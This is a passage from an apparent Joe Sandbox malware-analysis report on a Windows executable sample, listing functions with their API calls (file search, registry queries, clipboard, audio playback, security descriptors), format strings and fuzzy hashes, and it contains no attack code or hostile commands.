Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: bd430d645176e8bbb9097e0de5ac56f51f9030ffbfb6d3b56e74a9482b65dddf
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: EDE1C132A4829286FB24BF35A8505F9B791BB847B4F845139EB4DC2B95DF3CF44187A0

Function 00007FF7C0ED72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0ED72E8
FindClose.KERNEL32 ref: 00007FF7C0ED731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7C0ED7359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF7C0ED7381
FileTimeToSystemTime.KERNEL32 ref: 00007FF7C0ED73B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF7C0ED73E3

Strings

%03d, xrefs: 00007FF7C0ED76CF
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF7C0ED7441
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF7C0ED747E
%4d, xrefs: 00007FF7C0ED74C3
%02d, xrefs: 00007FF7C0ED7519

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction ID: 648cf2ab6dc3d28fb05ec286550001740d7d1491e7e4d71ac2054eadd1a7b557
Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
Instruction Fuzzy Hash: D4D17262B5CA5685EB10FF65D4410FDA761FB807A8FC00032EA4D87B99EF78E548C7A0

Function 00007FF7C0ED8BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF7C0ED8CDA
SystemTimeToFileTime.KERNEL32 ref: 00007FF7C0ED8CEC
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7C0ED8D00
wcscat.LIBCMT ref: 00007FF7C0ED8D84
wcscat.LIBCMT ref: 00007FF7C0ED8D95
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8DA6
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8DB3
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8DEE
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8E3F
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8E4C
wcscpy.LIBCMT ref: 00007FF7C0ED8E5E

Strings

*.*, xrefs: 00007FF7C0ED8E52

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
String ID: *.*
API String ID: 1111067124-438819550
Opcode ID: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
Instruction ID: 0cef7babf226ffeb68b7b540ffe9b030e14a7586fcc445b0852a2106934e5e1e
Opcode Fuzzy Hash: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
Instruction Fuzzy Hash: D5718F32658B8681DB10FF11D9401EEA361FB84BA8F845031DA4E87BA6DF79F545C7A0

Function 00007FF7C0EDA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0EDA390
GetFileAttributesW.KERNEL32 ref: 00007FF7C0EDA3CE
SetFileAttributesW.KERNEL32 ref: 00007FF7C0EDA3E5
FindNextFileW.KERNEL32 ref: 00007FF7C0EDA3FA
FindClose.KERNEL32 ref: 00007FF7C0EDA407
FindClose.KERNEL32 ref: 00007FF7C0EDA424
FindFirstFileW.KERNEL32 ref: 00007FF7C0EDA43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EDA489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EDA4B0
FindNextFileW.KERNEL32 ref: 00007FF7C0EDA4BE
FindClose.KERNEL32 ref: 00007FF7C0EDA4CD

Strings

*.*, xrefs: 00007FF7C0EDA436

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: 8e928fb86f233fdb25e956ce8250b11921ca33cb402f347baeb638a9b111be12
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: F3414C2560C65254EB00BF25E8482BAA391FB44FB8FC85131D96D83794DFBCF58983A0

Function 00007FF7C0ECD87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF7C0ECD8F5
mciSendStringW.WINMM ref: 00007FF7C0ECD913
mciSendStringW.WINMM ref: 00007FF7C0ECD92B
mciSendStringW.WINMM ref: 00007FF7C0ECD949
mciSendStringW.WINMM ref: 00007FF7C0ECD967

Strings

play PlayMe, xrefs: 00007FF7C0ECD960
open , xrefs: 00007FF7C0ECD894
close PlayMe, xrefs: 00007FF7C0ECD907, 00007FF7C0ECD952
status PlayMe mode, xrefs: 00007FF7C0ECD8EE
play PlayMe wait, xrefs: 00007FF7C0ECD942
alias PlayMe, xrefs: 00007FF7C0ECD8CF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction ID: f96aaf4daba62758aebe48cb01d4be48f75c411b91a05b681404770057eefb7f
Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
Instruction Fuzzy Hash: 87216F22A1C95291FB20FF24E85566AA320BFD8758FD44031D64DC3A58DF7DE645C7A0

Function 00007FF7C0EDA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7C0EDA530
FindNextFileW.KERNEL32 ref: 00007FF7C0EDA588
FindClose.KERNEL32 ref: 00007FF7C0EDA595
FindClose.KERNEL32 ref: 00007FF7C0EDA5B3
FindFirstFileW.KERNEL32 ref: 00007FF7C0EDA5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EDA611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EDA638
FindNextFileW.KERNEL32 ref: 00007FF7C0EDA646
FindClose.KERNEL32 ref: 00007FF7C0EDA655

Part of subcall function 00007FF7C0ECC67C: CreateFileW.KERNEL32 ref: 00007FF7C0ECC6B1

Strings

*.*, xrefs: 00007FF7C0EDA5C5

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: dbf4385060ab19ae7d84c85d34e120db2c60c3df0ba2565be7d73809e0f2f755
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: 2F417C21A0CA5290EA10BF15A8546BAA390FF40FF4FC85131DD6E87794DF7CF58A87A0

Function 00007FF7C0ED3E20 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF7C0ED3E61
CreateDirectoryW.KERNEL32 ref: 00007FF7C0ED3EB2
CreateFileW.KERNEL32 ref: 00007FF7C0ED3EE4
RemoveDirectoryW.KERNEL32 ref: 00007FF7C0ED3EF6
DeviceIoControl.KERNEL32 ref: 00007FF7C0ED3FA5
CloseHandle.KERNEL32 ref: 00007FF7C0ED3FB2
CloseHandle.KERNEL32 ref: 00007FF7C0ED3FBD

Strings

\, xrefs: 00007FF7C0ED3E97
\??\%s, xrefs: 00007FF7C0ED3E79
:, xrefs: 00007FF7C0ED3E9F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove
String ID: :$\$\??\%s
API String ID: 3827137101-3457252023
Opcode ID: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction ID: b0ff9617caf9608e0bf4ee560d34d901d5b6e7b8607aad73a9f1a4ee8c885912
Opcode Fuzzy Hash: c042ec0e4a157b4915e6cbee2efc7bd563a20e0e85c4cf7d435b60959deae5d8
Instruction Fuzzy Hash: 6241962161878385E720BF21E8046FDA3A0FF85BA8F840135DA0D87B98DF7CE546C750

Function 00007FF7C0EF055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EF1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7C0EEFD7B), ref: 00007FF7C0EF1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EF0662
RegOpenKeyExW.ADVAPI32 ref: 00007FF7C0EF06CD
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF06F4
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF0746
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF07FD
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF0860
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF0907
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF0961
RegQueryValueExW.ADVAPI32 ref: 00007FF7C0EF0A12
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF0A9E
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF0AAD

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3218304859-0
Opcode ID: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
Instruction ID: 0f075e4a6261375b121909f4ff777488e6f23ddd9795c48c225d73bb73c98274
Opcode Fuzzy Hash: bfd33b311cee2062ccf4f7c99d60df25cce3d62e1d08c3ae9d56584007b3da53
Instruction Fuzzy Hash: 5CF18176B49B428AEB10FF65D0902ACB370FB84BA8B858531DE4D87B95DF38E051C794

Function 00007FF7C0ED83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7C0ED8452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF7C0ED84FC
SHGetDesktopFolder.SHELL32 ref: 00007FF7C0ED8516
CoCreateInstance.OLE32 ref: 00007FF7C0ED858F
SHCreateShellItem.SHELL32 ref: 00007FF7C0ED8629
CoTaskMemFree.OLE32 ref: 00007FF7C0ED8699
SHBrowseForFolderW.SHELL32 ref: 00007FF7C0ED872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF7C0ED874B
CoTaskMemFree.OLE32 ref: 00007FF7C0ED8754
CoTaskMemFree.OLE32 ref: 00007FF7C0ED8799
CoUninitialize.OLE32 ref: 00007FF7C0ED879F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
Instruction ID: 6008e5cc6e542e71c08422efce17f4284e99987775f15fa21d34e8b47cbe8012
Opcode Fuzzy Hash: 28da4375d56d9c7790266f2ac16f9c30a3cff06f711ae95f6c1a6b970e5d2d74
Instruction Fuzzy Hash: 34C14936748B8585EB10FF26E8841ADB760FB88BA8F854036DE4E87765DF38E445C750

Function 00007FF7C0EBC5FC Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBCD34: GetUserObjectSecurity.USER32 ref: 00007FF7C0EBCD65
Part of subcall function 00007FF7C0EBCD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7C0EBC65A), ref: 00007FF7C0EBCD71
Part of subcall function 00007FF7C0EBCD34: GetUserObjectSecurity.USER32 ref: 00007FF7C0EBCD9C

Part of subcall function 00007FF7C0EBCE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF7C0EBC66F), ref: 00007FF7C0EBCE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF7C0EBC68B
GetAclInformation.ADVAPI32 ref: 00007FF7C0EBC6C5
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC6D6
GetAce.ADVAPI32 ref: 00007FF7C0EBC714
AddAce.ADVAPI32 ref: 00007FF7C0EBC73B
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC753
GetLengthSid.ADVAPI32 ref: 00007FF7C0EBC776
CopySid.ADVAPI32 ref: 00007FF7C0EBC785
AddAce.ADVAPI32 ref: 00007FF7C0EBC7CB
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF7C0EBC7EE
SetUserObjectSecurity.USER32 ref: 00007FF7C0EBC803

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction ID: cb4c4ae655be4665347e62f38aa3779edbbdfbad391f6040f7e854cccee61917
Opcode Fuzzy Hash: 5c88d37276b46e33d2a1e391526b812f5276439b55f88bb912c7bbc104166e1e
Instruction Fuzzy Hash: BE619F22B0865286EB10FF71D8445ADB7A4FB44BA8F848136DE0D93795DF38E445C3E4

Function 00007FF7C0EE6C34 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7C0EE6C76
CoInitialize.OLE32 ref: 00007FF7C0EE6CA4
CoUninitialize.OLE32 ref: 00007FF7C0EE6CAF
GetRunningObjectTable.OLE32 ref: 00007FF7C0EE6DD9
SetErrorMode.KERNEL32 ref: 00007FF7C0EE6EF7
CoGetInstanceFromFile.OLE32 ref: 00007FF7C0EE6F49
CoGetObject.OLE32 ref: 00007FF7C0EE6F69
SetErrorMode.KERNEL32 ref: 00007FF7C0EE6F81
SetErrorMode.KERNEL32 ref: 00007FF7C0EE701B
VariantClear.OLEAUT32 ref: 00007FF7C0EE702E

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
Instruction ID: 0d411232f44503d991bdff1265e52e1b2941cb4f2d24fb3005b57c0cfbf05d0e
Opcode Fuzzy Hash: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
Instruction Fuzzy Hash: 40D18F36B48B4686EB10BF75D4402ADB3B5FB88B98B904036CE5D97B64DF38E945C390

Function 00007FF7C0EFA59C Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF7C0EFA650
SendMessageW.USER32 ref: 00007FF7C0EFA664
GetWindowLongW.USER32 ref: 00007FF7C0EFA697
SendMessageW.USER32 ref: 00007FF7C0EFA6C1
SendMessageW.USER32 ref: 00007FF7C0EFA752
SendMessageW.USER32 ref: 00007FF7C0EFA7A6
SendMessageW.USER32 ref: 00007FF7C0EFA7CD
SendMessageW.USER32 ref: 00007FF7C0EFA7F1
SendMessageW.USER32 ref: 00007FF7C0EFA80E
SendMessageW.USER32 ref: 00007FF7C0EFA832

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction ID: 3d5850d19a517e3f74e8760f0aaac590f34d14e20a079e5ae0a07ae91bb25e0c
Opcode Fuzzy Hash: abdc22e6bb891721ce5e067b69be811f88521fd2379c3c8bf9918a79da049ba4
Instruction Fuzzy Hash: 2F71C676A09AD185E720EF65D8449EEB760FB88BA8F844032DE4D87B54CF7CE186C750

Function 00007FF7C0EE0D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF7C0EE0D62
EmptyClipboard.USER32 ref: 00007FF7C0EE0D68
GlobalAlloc.KERNEL32 ref: 00007FF7C0EE0D80
CloseClipboard.USER32 ref: 00007FF7C0EE0E72

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction ID: 5a06378dd0712c68e2531ee1b519367687bb1fbfd96330e33c7d47e3f40c69e3
Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction Fuzzy Hash: 80414C76A4CA4282EB05BF55D494339A760FF54BA9F844435CA4E873A2DFBCF08187A4

Function 00007FF7C0ECB7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E556D4: GetFullPathNameW.KERNEL32(?,00007FF7C0E556C1,?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E556FF

Part of subcall function 00007FF7C0ECCED4: GetFileAttributesW.KERNEL32 ref: 00007FF7C0ECCED8

FindFirstFileW.KERNEL32 ref: 00007FF7C0ECB8AC
DeleteFileW.KERNEL32 ref: 00007FF7C0ECB987
MoveFileW.KERNEL32 ref: 00007FF7C0ECB9A7
DeleteFileW.KERNEL32 ref: 00007FF7C0ECB9CA
FindNextFileW.KERNEL32 ref: 00007FF7C0ECB9FC
FindClose.KERNEL32 ref: 00007FF7C0ECBA15

Part of subcall function 00007FF7C0ECBA80: CopyFileExW.KERNEL32 ref: 00007FF7C0ECBAA7

Strings

\*.*, xrefs: 00007FF7C0ECB849, 00007FF7C0ECB867

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
